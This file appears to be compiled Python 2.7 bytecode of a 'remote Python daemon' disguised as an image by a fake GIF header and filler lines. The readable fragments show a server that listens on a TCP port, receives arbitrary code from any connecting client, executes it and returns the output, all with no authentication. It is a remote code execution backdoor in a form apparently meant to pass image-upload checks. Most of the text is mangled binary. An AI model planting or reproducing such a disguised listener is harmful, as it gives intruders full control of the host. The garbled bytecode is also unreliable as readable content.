???<!-- GIF89;a -->
123123123123
.....................................................................................................................................???<!-- GIF89;a -->
123123123123
.....................................................................................................................................ó
Afc           @   sW   d  d l  Z  d  d l Td  d l Z d  d l Z d Z d Z d „  Z d „  Z e ƒ  d S(   iÿÿÿÿN(   t   *i  i   c          C   sé   t  t j ƒ d k r1 t t t j d ƒ ƒ }  n t }  t t t ƒ } | j	 d |  f ƒ | j
 d ƒ x| | j ƒ  \ } \ } } d G| G| GHd } x' | j t ƒ } | s° Pn  | | } q— Wt | ƒ } | j | ƒ | j ƒ  qi Wd  S(   Ni   t    s   connected by(   t   lent   syst   argvt   intt   evalt   PORTt   sockett   AF_INETt   SOCK_STREAMt   bindt   listent   acceptt   recvt   BUFSIZEt   executet   sendt   close(   t   portt   st   connt
   remotehostt
   remoteportt   requestt   datat   reply(    (    s-   /usr/lib64/python2.7/Demo/sockets/rpythond.pyt   main   s$    c         B   sv   e  j } e  j } e j ƒ  e  _ e  _ } z* y |  i  i  UWn He j d ƒ n XWd  | e  _ | e  _ X| j ƒ  S(   Nid   (   R   t   stdoutt   stderrt   StringIOt	   tracebackt	   print_exct   getvalue(   R   R   R   t   fakefile(    (    s-   /usr/lib64/python2.7/Demo/sockets/rpythond.pyR   %   s    			
(   R   R   R   R   R   R   R   R   (    (    (    s-   /usr/lib64/python2.7/Demo/sockets/rpythond.pyt   <module>   s   
		